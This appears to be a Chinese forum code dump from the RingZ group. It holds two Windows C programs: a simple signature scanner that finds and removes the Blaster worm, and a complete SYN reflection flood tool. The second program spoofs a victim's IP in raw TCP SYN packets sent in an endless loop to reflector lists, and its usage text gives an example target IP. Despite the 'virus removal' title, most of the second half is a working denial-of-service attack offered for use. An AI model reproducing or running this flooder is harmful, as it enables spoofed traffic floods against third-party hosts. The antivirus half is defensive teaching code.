清除病毒代码

#define DEBUGMSG

#include
#include
#include
#include
#include
#include "Psapi.h"

#pragma comment (lib,"Psapi.lib")

#define erron GetLastError ()

#define FIVE 50
#define HIGH 255

TCHAR name[FIVE]={0};    //保存虫虫的文件名+路径
FILE *Gfp=NULL;          //输出到文件

BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征码函数

BOOL ScanFileVXER (LPTSTR FileName);
//文件遍历函数

BOOL ProcessVXER (void);
//枚举进程函数

BOOL KillProc (DWORD ProcessID);
//杀进程函数

BOOL EnablePrivilege(LPTSTR PrivilegeName);
//提升权限函数

BOOL RegDelVXER (void);
//删除注册表项函数

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
   if (argc!=2)
   {
       Usage(argv[0]);
       return 0;
   }

   #ifdef DEBUGMSG
          Gfp=fopen("VXER.txt","a+");

          if (Gfp==NULL)
          {
              printf("Open /"VXER.txt/" fail/n");
              return 0;
          }

          fprintf(Gfp,"%s/n/n","[-------------------------File list-------------------------]");
   #endif

   if (strlen(argv[1])>10)
   {
       printf("Fine name no larger than /"10/"/n");
       return 0;
   }

   if (!(ScanFileVXER(argv[1])))
   {
       #ifdef DEBUGMSG
              printf("ScanFileVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);
       return 0;
   }
   
   if (!(ProcessVXER()))
   {
       #ifdef DEBUGMSG
              printf("ProcessesVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);
       return 0;
   }

   if (!(RegDelVXER()))
   {
       #ifdef DEBUGMSG
              printf("RegDelVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);    
       return 0;
   }

   fclose(Gfp);
   return 0;
}

BOOL ScanFileVXER (LPTSTR FileName)
{
    WIN32_FIND_DATA FindFileData;
    DWORD lpBufferLength=HIGH;
    TCHAR lpBuffer[HIGH]={0};
    TCHAR DirBuffer[HIGH]={0};
    HANDLE hFind=NULL;
    UINT count=0;

    long FileOffset=0x1784;  //偏移地址
    int FileLength=0x77;     //长度

    TCHAR Contents[]={
    0x49, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x73,
    0x61, 0x79, 0x20, 0x4C, 0x4F, 0x56, 0x45, 0x20, 0x59, 0x4F, 0x55, 0x20, 0x53, 0x41, 0x4E, 0x21,
    0x21, 0x20, 0x62, 0x69, 0x6C, 0x6C, 0x79, 0x20, 0x67, 0x61, 0x74, 0x65, 0x73, 0x20, 0x77, 0x68,
    0x79, 0x20, 0x64, 0x6F, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x74, 0x68,
    0x69, 0x73, 0x20, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x20, 0x3F, 0x20, 0x53, 0x74,
    0x6F, 0x70, 0x20, 0x6D, 0x61, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x6D, 0x6F, 0x6E, 0x65, 0x79, 0x20,
    0x61, 0x6E, 0x64, 0x20, 0x66, 0x69, 0x78, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x73, 0x6F, 0x66,
    0x74, 0x77, 0x61, 0x72, 0x65, 0x21, 0x21};
    //从冲击波中提取出来的，用做特征码

    //获取系统目录的完整路径
    if (GetSystemDirectory(DirBuffer,lpBufferLength)!=0)
    {
        if (SetCurrentDirectory(DirBuffer)!=0) //设置为当前目录
        {
            hFind=FindFirstFile(FileName,&FindFileData);  //查找文件
            if (hFind==INVALID_HANDLE_VALUE)
            {
                #ifdef DEBUGMSG
                       printf("FindFirstFile() GetLastError reports %d/n",erron);
                #endif
                if (hFind!=NULL)
                    FindClose(hFind);
                return FALSE;
            }
            else
            {
                count++;

                //获得文件的完整路径
                if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=0)
                {
                    #ifdef DEBUGMSG
                           fprintf(Gfp,"File:/t/t%s/n",lpBuffer);
                    #else
                           printf("File:/t/t%s/n",lpBuffer);
                    #endif
                }
                else
                {
                    #ifdef DEBUGMSG
                           printf("GetFullPathName() GetLastError reports %d/n",erron);
                    #endif
                    if (hFind!=NULL)
                        FindClose(hFind);
                    return FALSE;
                }
            }
           
            //进行特征码匹配工作
            ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
        }
    }

    while (FindNextFile(hFind,&FindFileData))  //继续查找文件
    {
           count++;

           //以"."和".."除外
           if (strcmp(".",FindFileData.cFileName)==0||strcmp("..",FindFileData.cFileName)==0)
           {
               #ifdef DEBUGMSG
                      printf("File no include /"./" and /"../"/n");
               #endif
               if (hFind!=NULL)
                   FindClose(hFind);

               fclose(Gfp);
               exit(0);
           }

           if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=0)
           {
               #ifdef DEBUGMSG
                      fprintf(Gfp,"Next File:/t%s/n",lpBuffer);
               #else
                      printf("Next File:/t%s/n",lpBuffer);
               #endif
           }
           else
           {
               #ifdef DEBUGMSG
                      printf("GetFullPathName() GetLastError reports %d/n",erron);
               #endif
               if (hFind!=NULL)
                   FindClose(hFind);

               fclose(Gfp);
               exit(0);
           }
           
           ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
       
    }

    fprintf(Gfp,"/nFile Total:%d/n/n",count);
    fprintf(Gfp,"%s/n/n","[-------------------------File end---------------------------]/n");

    printf("File Total:%d/n",count);  //打印出查找到的文件各数

    if (hFind!=NULL)
        FindClose(hFind);               //关闭搜索句柄
    return TRUE;
}

BOOL ScanVXER (
LPTSTR V_FileName,  //文件名
long V_FileOffset, //偏移地址
int V_Length,      //长度
TCHAR *V_Contents)  //具体内容
{
    TCHAR FileContents[HIGH]={0};
    int cmpreturn=0;
    FILE *fp=NULL;

    fp=fopen(V_FileName,"rb");  //以二进制只读方式打开

    if (fp==NULL)
    {
        #ifdef DEBUGMSG
               printf("fopen() File open FAIL/n");
        #endif
        fclose(fp);
        return FALSE;
    }

    fseek(fp,V_FileOffset,SEEK_SET);  //把文件指针指向特征码在文件的偏移地址处
    fread(FileContents,V_Length,1,fp);//读取长度为特征码长度的内容
    cmpreturn=memcmp(V_Contents,FileContents,V_Length);
    //进行特征码匹配。失败返回FALSE

    if (cmpreturn==0)
    {
        #ifdef DEBUGMSG
               printf("File match completely/n"); //打印文件匹配消息
        #endif
        strcpy(name,V_FileName);                  //将文件名保存在全局变量name中
        if (fp!=NULL)
            fclose(fp);
        return TRUE;
    }
    else
    {
        fclose(fp);
        return FALSE;
    }

}

BOOL ProcessVXER (void)
{
    DWORD lpidProcess[1024]={0};
    DWORD cbNeeded_1,cbNeeded_2;
    HANDLE hProc=NULL;
    HMODULE hMod[1024]={0};
    TCHAR ProcFile[MAX_PATH];
    TCHAR FileName[FIVE]={0};
    UINT Pcount=0;
    int i=0;

    EnablePrivilege(SE_DEBUG_NAME);   //提升调试进程权限

    fprintf(Gfp,"%s/n/n","[------------------------Process list--------------------------]");

    strcpy(FileName,"C://WINNT//system32//");
    strcat(FileName,name);//把文件名+路径复制到FileName变量中

    //枚举进程
    if (!(EnumProcesses(lpidProcess,sizeof(lpidProcess),&cbNeeded_1)))
    {
        #ifdef DEBUGMSG
               printf("EnumProcesses() GetLastError reports %d/n",erron);
        #endif
        if (hProc!=NULL)
            CloseHandle(hProc);
        return FALSE;
    }

    for (i=0;i<(int)cbNeeded_1/4;i++)
    {
         //打开找到的第一个进程
         hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lpidProcess[i]);

         if (hProc)
         {
             //枚举进程模块
             if (EnumProcessModules(hProc,hMod,sizeof(hMod),&cbNeeded_2))
             {
                 //枚举进程模块文件名，包含全路径
                 if (GetModuleFileNameEx(hProc,hMod[0],ProcFile,sizeof(ProcFile)))
                 {
                     #ifdef DEBUGMSG
                            fprintf(Gfp,"[%5d]/t%s/n",lpidProcess[i],ProcFile);
                     #else
                            printf("[%5d]/t%s/n",lpidProcess[i],ProcFile); //输出进程
                     #endif
                     //可以考虑将其注释掉，这样就不会输出进程列表了
                     Pcount++;

                     //查找进程中是否包含FileName
                     if (strcmp(FileName,ProcFile)==0)
                     {
                         //如果包含，则杀掉。KillProc为自定义的杀进程函数
                         if (!(KillProc(lpidProcess[i])))
                         {
                             #ifdef DEBUGMSG
                                    printf("KillProc() GetLastError reports %d/n",erron);
                             #endif
                             if (hProc!=NULL)
                                 CloseHandle(hProc);

                             fclose(Gfp);
                             exit(0);
                         }

                         DeleteFile(FileName); //进程杀掉后，再将文件删除
                     }
                 }
             }
         }
    }

    if (hProc!=NULL)
        CloseHandle(hProc);                //关闭进程句柄

    fprintf(Gfp,"/nProcess total:%d/n/n",Pcount);
    fprintf(Gfp,"%s/n/n","[------------------------Process end----------------------------]");

    printf("/nProcess total:%d/n/n",Pcount);  //打印进程各数

    return TRUE;
}

BOOL KillProc (DWORD ProcessID)
{
    HANDLE hProc=NULL;

    //打开由ProcessVXER()传递的进程PID
    hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);

    if (hProc!=NULL)
    {
        //终止进程
        if (!(TerminateProcess(hProc,0)))
        {
            #ifdef DEBUGMSG
                   printf("TerminateProcess() GetLastError reports %d/n",erron);
            #endif
            CloseHandle(hProc);
            return FALSE;
        }
    }
    else
    {
        #ifdef DEBUGMSG
               printf("OpenProcess() GetLastError reports %d/n",erron);
        #endif
        return FALSE;
    }

    if (hProc!=NULL)
        CloseHandle(hProc);

    return TRUE;
}

BOOL EnablePrivilege(LPTSTR PrivilegeName)
{
    HANDLE hProc=NULL,hToken=NULL;
    TOKEN_PRIVILEGES TP;
    hProc=GetCurrentProcess();  //打开当前进程的一个伪句柄

    //打开进程访问令牌，hToken表示新打开的访问令牌标识
    if(!OpenProcessToken(hProc,TOKEN_ADJUST_PRIVILEGES,&hToken))
    {
       #ifdef DEBUGMSG
              printf("OpenProcessToken() GetLastError reports %d/n",erron);
       #endif
       goto Close;
    }

    //提升权限
    if(!LookupPrivilegeValue(NULL,PrivilegeName,&TP.Privileges[0].Luid))
    {
        #ifdef DEBUGMSG
               printf("LookupPrivilegeValue() GetLastError reports %d/n",erron);
        #endif
        goto Close;
    }

    TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    TP.PrivilegeCount=1;

    //允许权限，主要根据TP这个结构
    if(!AdjustTokenPrivileges(hToken,FALSE,&TP,sizeof(TP),0,0))
    {
        #ifdef DEBUGMSG
               printf("AdjustTokenPrivileges() GetLastError reports %d/n",erron);
        #endif
        goto Close;
    }

    Close:

          if (hProc!=NULL)
              CloseHandle(hProc);

          if (hToken!=NULL)
              CloseHandle(hToken);

          return FALSE;

    if (hProc!=NULL)
        CloseHandle(hProc);

    if (hToken!=NULL)
        CloseHandle(hToken);

    return TRUE;
}

BOOL RegDelVXER (void)
{
   HKEY hkey;
   DWORD ret=0;

   //打开注册表的Run项
   ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                    "SOFTWARE//Microsoft//Windows//CurrentVersion//Run//",
                    0,
                    KEY_ALL_ACCESS,
                    &hkey);

   if (!(ret==ERROR_SUCCESS))
   {
       #ifdef DEBUGMSG
              printf("RegOpenKeyEx() GetLastError reports %d/n",erron);
       #endif
       return FALSE;
   }

   //删除键值windows auto update。
   ret=RegDeleteValue(hkey,"windows auto update");

   if (ret==ERROR_SUCCESS)
   {
       #ifdef DEBUGMSG
              printf("Success Delete/n");
       #endif
   }
   else
   {
       #ifdef DEBUGMSG
              printf("RegDeleteValue() GetLastError reports %d/n",erron);
       #endif
       RegCloseKey(hkey);
       //exit(0);
   }

   RegCloseKey(hkey);  //关闭打开的注册表项
   return TRUE;
}

void Usage (LPCTSTR Parameter)
{
    LPCTSTR Path="%SystemRoot%//system32//";

    fprintf(stderr,"============================================================================/n"
            "      杀毒软件的简单实现/n"
            "环境：Win2K Adv Server + Visual C++ 6.0/n"
            "作者：dahubaobao/n"
            "主页：www.RingZ.org/n"
            "OICQ：382690/n"
            "邮件：[email protected]/n"
            "声明：本帖由环行区（RingZ）原创，转载请注明出处，谢谢！/n/n"
            "使用方法：/n"
            "%s 文件名。例如：%s msblast.exe or %s *.exe /n/n"
            "注意事项：/n"
            "本程序只是简单介绍杀毒软件的编写方法，所以有很多不完善的地方，包括：/n"
            "1，本程序是以冲击波蠕虫做的例子/n"
            "2，文件遍历只搜索了%s目录下的文件/n"
            "3，本程序不能查杀冲击波变种/n/n"
            "本程序只是用做代码交流，如有错误，还请多多包含！/n"
            "============================================================================"
            ,Parameter,Parameter,Parameter,Path);
}

#define DEBUGMSG

#include
#include
#include
#include
#include
#include

#pragma comment (lib,"ws2_32.lib")

#define erron GetLastError()
#define WSAerron WSAGetLastError()

typedef struct iphdr   //IP首部
{
   UCHAR Verlen;      //4位版本号+4位长度
   UCHAR Tos;         //8位服务类型TOS
   USHORT Total_len;  //16位总长度
   USHORT Idnet;      //16位标识
   USHORT Flags;      //16位标志
   UCHAR Ttl;         //8位TTL
   UCHAR Proto;       //8位协议
   USHORT Checksum;   //16位校验和
   ULONG SourceIP;    //32位源地址
   ULONG DestIP;      //32目的地址
}IPHDR,*PIPHDR,*LPIPHDR;

typedef struct tcphdr  //TCP首部
{
   USHORT Sport;      //16位源端口
   USHORT Dport;      //16位目的端口
   ULONG Seq;         //32位序列号
   ULONG Ack;         //32位识别号
   UCHAR Lenres;      //4位长度+6位保留字
   UCHAR Flags;       //6位标志
   USHORT Winsize;    //16位窗口值
   USHORT Checksum;   //16位校验和
   USHORT Urp;        //16位紧急数据偏移量
}TCPHDR,*PTCPHDR,*LPTCPHDR;

typedef struct psdhdr  //TCP伪首部
{
   ULONG Saddr;       //32位源地址
   ULONG Daddr;       //32位目的地址
   TCHAR mbz;         //没用
   TCHAR Protol;      //协议
   USHORT Tcplen;     //长度
}PSDHDR,*PPSDHDR,*LPPSDHDR;

typedef struct drdossyninfo   //参数结构
{
   UINT TimeOut;             //超时时间
   UINT IPListNum;           //IP列表计数器
   UINT PortListNum;         //端口列表计数器
   ULONG AttackSourceIP;     //目的IP，设置为源IP
   USHORT AttackSourcePort;  //目的端口，设置为源端口
   TCHAR DestIP[1986][16];   //存放IP列表，反射源，设置为目的IP
   TCHAR DestPort[1986][8];  //存放端口列表，反射源，设置为目的端口
}DRDOSSYNINFO,*PDRDOSSYNINFO,*LPDRDOSSYNINFO;

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos);
//洪水攻击主函数

USHORT checksum(USHORT *buffer, int size);
//计算校验和

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
   DRDOSSYNINFO DrDosSynInfo;     //参数结构
   HANDLE hThread[MAX_PATH];      //线程句柄
   UINT MaxThread=0,ThreadNum=0;  //线程最大值和线程计数器
   UINT DestNum=0;                //目的IP和端口的计数器
   TCHAR StdinIP[16]={0},StdinPort[8]={0};  //存放目的IP和端口
   TCHAR *Find=NULL;
   FILE *fp=NULL;

   if (argc<=2)
   {
       Usage(argv[0]);
       return 0;
   }

   //IP不能大于15
   if (strlen(argv[1])<=15)
       DrDosSynInfo.AttackSourceIP=ntohl(inet_addr(argv[1]));
   else
   {
       #ifdef DEBUGMSG
              printf("Internet address no larger than /"15/"/n");
       #endif
       return 0;
   }

   //端口不能小于0和大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       DrDosSynInfo.AttackSourcePort=atoi(argv[2]);
   else
   {
       #ifdef DEBUGMSG
              printf("Port no less than /"0/" and larger than /"65535/"");
       #endif
       return 0;
   }

   //发送超时
   if (argc>3)
       DrDosSynInfo.TimeOut=atoi(argv[3]);
   else
       DrDosSynInfo.TimeOut=666;    //默认

   //线程最大值
   if (argc>4)
   {
       if (atoi(argv[4])<=sizeof (ULONG)*8)
           MaxThread=atoi(argv[4]);
       else
       {
           #ifdef DEBUGMSG
                  printf("Thread num no less than /"%d/"/n",sizeof (ULONG)*8);
           #endif
           return 0;
       }
   }
   else
       MaxThread=1;    //默认

   //参数太多了
   if (argc>5)
   {
       Usage(argv[0]);
       return 0;
   }

   #ifdef DEBUGMSG
          //输出参数的详细信息
          fprintf(stderr,"AttackIP:%s/n"
                  "AttackPort:%d/n"
                  "TimeOut:%d/n"
                  "MaxThread:%d/n",argv[1],DrDosSynInfo.AttackSourcePort
                  ,DrDosSynInfo.TimeOut,MaxThread);
   #endif

   fp=fopen("DestIP.txt","r");   //打开存放目的IP的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestIP.txt/" fail/n");
       #endif
       return 0;
   }

   //检测EOF
   while (!feof(fp))
   {
          //读取目的IP到StdinIP
          fgets(StdinIP,sizeof (StdinIP),fp);

          Find=strchr(StdinIP,'/n');   //查找/n
          if (Find)
              *Find='/0';              //替换为/0

          //拷贝到结构中
          strcpy(DrDosSynInfo.DestIP[DestNum],StdinIP);
          //printf("DestIP:%s/n",DrDosSynInfo.DestIP[DestNum]);   //输出目的IP
          DestNum++;     //计数器递增

          if (DestNum==1986)   //数组满了，跳出循环
          {
              printf("IP Array full/n");
              break;
          }
   }

   DrDosSynInfo.IPListNum=DestNum-1;              //总共读取了多少IP
   printf("/nIP List total num:/t%d/n",DestNum);  //输出总共读取了多少IP

   DestNum=0;     //重新置0，以便用于读取端口
   fclose(fp);    //关闭文件指针

   fp=fopen("DestPort.txt","r");    //打开存放目的端口的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestPort.txt/" fail/n");
       #endif
       return 0;
   }

   while (!feof(fp))
   {
          //读取目的端口到StdinPort
          fgets(StdinPort,sizeof (StdinPort),fp);

          Find=strchr(StdinPort,'/n');
          if (Find)
              *Find='/0';

          strcpy(DrDosSynInfo.DestPort[DestNum],StdinPort);
          //printf("DestPort:%s/n",DrDosSynInfo.DestPort[DestNum]);
          DestNum++;

          if (DestNum==1986)
          {
              printf("Port Array full/n");
              break;
          }
   }

   DrDosSynInfo.PortListNum=DestNum-1;               //总共读取了多少端口
   printf("Port List total num:/t%d/n",DestNum);     //输出总共读取了多少端口
   //现在结构中已经有了反射源，呵呵

   Sleep(500);
   printf("/nStarting....../n");

   //循环创建攻击线程
   for (ThreadNum=0;ThreadNum   {
        hThread[ThreadNum]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DrDosSynFlooder,
                                       (LPVOID)&DrDosSynInfo,0,NULL);

        if (hThread[ThreadNum]==NULL)
        {
            #ifdef DEBUGMSG
                   printf("CreateThread() GetLastError reports %d/n",erron);
            #endif
            goto Clean;
        }

        ThreadNum++;
        Sleep(500);     //等待线程初始化完毕
   }

   printf("Input ctrl+c for exit/n");   //CTRL+C退出

   WaitForMultipleObjects(ThreadNum,hThread,TRUE,INFINITE);

   Clean:

         if (hThread!=NULL)
             CloseHandle(hThread);   //释放线程句柄

         if (fp!=NULL)               //关闭文件指针
             fclose(fp);

         return 0;
}

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos)
{
     LPDRDOSSYNINFO lpDrDosSynInfo=(LPDRDOSSYNINFO)lpdrdos;
     WSADATA wsadata;
     SOCKET sock=NULL;
     struct sockaddr_in sai;
     TCHAR DestHost[16]={0},DestPort[8]={0};   //目的IP和目的端口
     IPHDR ipHeader;                           //IP首部
     TCPHDR tcpHeader;                         //TCP首部
     PSDHDR psdHeader;                         //TCP伪首部
     BOOL Flag=TRUE;
     UINT IPNum=0,PortNum=0;                   //目的IP和目的端口计数器
     int DataSize=0,TimeOut=0;
     int dSyn=0,nRet=0;

     nRet=WSAStartup(MAKEWORD(2,2),&wsadata);    //初始化

     if (nRet)
     {
         #ifdef DEBUGMSG
                printf("WSAStartup() error: %d/n",nRet);
         #endif
         return 0;
     }

     sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);    //建立SOCKET

     if (sock==INVALID_SOCKET)
     {
         #ifdef DEBUGMSG
                printf("socket() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置IP_HDRINCL，自己填充数据包
     nRet=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&Flag,sizeof (Flag));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set IP_HDRINCL/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置发送超时
     TimeOut=lpDrDosSynInfo->TimeOut;
     nRet=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof (TimeOut));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set SO_SNDTIMEO/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif          
         goto Clean;
     }

     //填充地址结构
     memset(&sai,0,sizeof (sai));
     sai.sin_family=AF_INET;
     sai.sin_port=htons(lpDrDosSynInfo->AttackSourcePort);
     sai.sin_addr.s_addr=htonl(lpDrDosSynInfo->AttackSourceIP);

     for (IPNum=0,PortNum=0;;IPNum++,PortNum++)
     {
          TCHAR SendBuf[256]={0};    //发送缓冲

          //从结构中提取出目的IP，并拷贝到DestHost中，作为反射源
          strcpy(DestHost,lpDrDosSynInfo->DestIP[IPNum]);
          //printf("%s/n",DestHost);

          //从结构中提取出目的端口，并拷贝到DestPort中，作为反射源
          strcpy(DestPort,lpDrDosSynInfo->DestPort[PortNum]);
          //printf("%s/n",DestPort);

          //填充IP首部
          ipHeader.Verlen=(4<<4 | sizeof (ipHeader)/sizeof (ULONG));
          ipHeader.Tos=0;
          ipHeader.Total_len=htons(sizeof (ipHeader)+sizeof (tcpHeader));
          ipHeader.Idnet=1;
          ipHeader.Flags=0;
          ipHeader.Ttl=128;
          ipHeader.Proto=IPPROTO_TCP;
          ipHeader.Checksum=0;
          ipHeader.SourceIP=htonl(lpDrDosSynInfo->AttackSourceIP);  //受害者IP
          ipHeader.DestIP=inet_addr(DestHost);                      //目的IP

          //填充TCP首部
          tcpHeader.Sport=htons(lpDrDosSynInfo->AttackSourcePort);  //受害者端口
          tcpHeader.Dport=htons(atoi(DestPort));                    //目的端口
          tcpHeader.Seq=1986;
          tcpHeader.Ack=1;
          tcpHeader.Lenres=(sizeof (tcpHeader)/4<<4|0);
          tcpHeader.Flags=2;
          tcpHeader.Winsize=1986;
          tcpHeader.Checksum=0;
          tcpHeader.Urp=0;

          //填充TCP伪首部
          psdHeader.Saddr=ipHeader.SourceIP;
          psdHeader.Daddr=ipHeader.DestIP;
          psdHeader.mbz=0;
          psdHeader.Protol=IPPROTO_TCP;
          psdHeader.Tcplen=htons(sizeof (tcpHeader));

          //计算TCP校验和
          memcpy(SendBuf,&psdHeader,sizeof (psdHeader));
          memcpy(SendBuf+sizeof (psdHeader),&tcpHeader,sizeof (tcpHeader));
          tcpHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (psdHeader)+sizeof (tcpHeader));

          ////计算IP校验和
          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));
          memcpy(SendBuf+sizeof (ipHeader),&tcpHeader,sizeof (tcpHeader));
          memset(SendBuf+sizeof (ipHeader)+sizeof (tcpHeader),0,4);
          DataSize=sizeof (ipHeader)+sizeof (tcpHeader);   //数据包大小
          ipHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (ipHeader)+sizeof (tcpHeader));

          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));

          //发送出去
          dSyn=sendto(sock,SendBuf,DataSize,0,(struct sockaddr*)&sai,sizeof (sai));

          if (dSyn==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     printf("sendto() GetLastError reports %d/n",WSAerron);
              #endif
              goto Clean;
          }

          //IP读取到了末尾，重新置0
          if (IPNum==lpDrDosSynInfo->IPListNum)
              IPNum=0;

          //端口，其他同上
          if (PortNum==lpDrDosSynInfo->PortListNum)
              PortNum=0;
     }

     Clean:

          if (sock!=NULL)         //关闭SOCKET
              closesocket(sock);

          WSACleanup();
          return 1;
}

USHORT checksum(USHORT *buffer, int size)
{
      ULONG cksum=0;

      while(size >1)
      {
            cksum+=*buffer++;
            size-=sizeof(USHORT);
      }

      if(size)
         cksum+=*(UCHAR*)buffer;

      cksum=(cksum>>16)+(cksum&0xffff);
      cksum+=(cksum>>16);
      return (USHORT)(~cksum);
}

void Usage (LPCTSTR Parameter)
{
    fprintf(stderr,"============================================================================/n"
            "      dahubaobao洪水程序之---Syn反射洪水攻击/n"
            "环境：Win2K Adv Server + Visual C++ 6.0/n"
            "作者：dahubaobao/n"
            "主页：www.RingZ.org/n"
            "OICQ：382690/n"
            "邮件：[email protected]/n"
            "声明：本帖由环行区（RingZ）原创，转载请注明出处，谢谢！/n/n"
            "使用方法：/n"
            "%s 目标IP 目标端口 发送超时 线程最大值/n"
            "例：%s 218.68.19.86 80 888 10/n/n"
            "注意事项：/n"
            "程序的反射源由/"DestIP.txt/"和/"DestPort.txt/"提供/n"
            "用于保存反射源的数组大小为1986，所以不要超过这个大小/n"
            "本程序只是用做代码交流，如有错误，还请多多包含！/n"
            "============================================================================"
            ,Parameter,Parameter);
}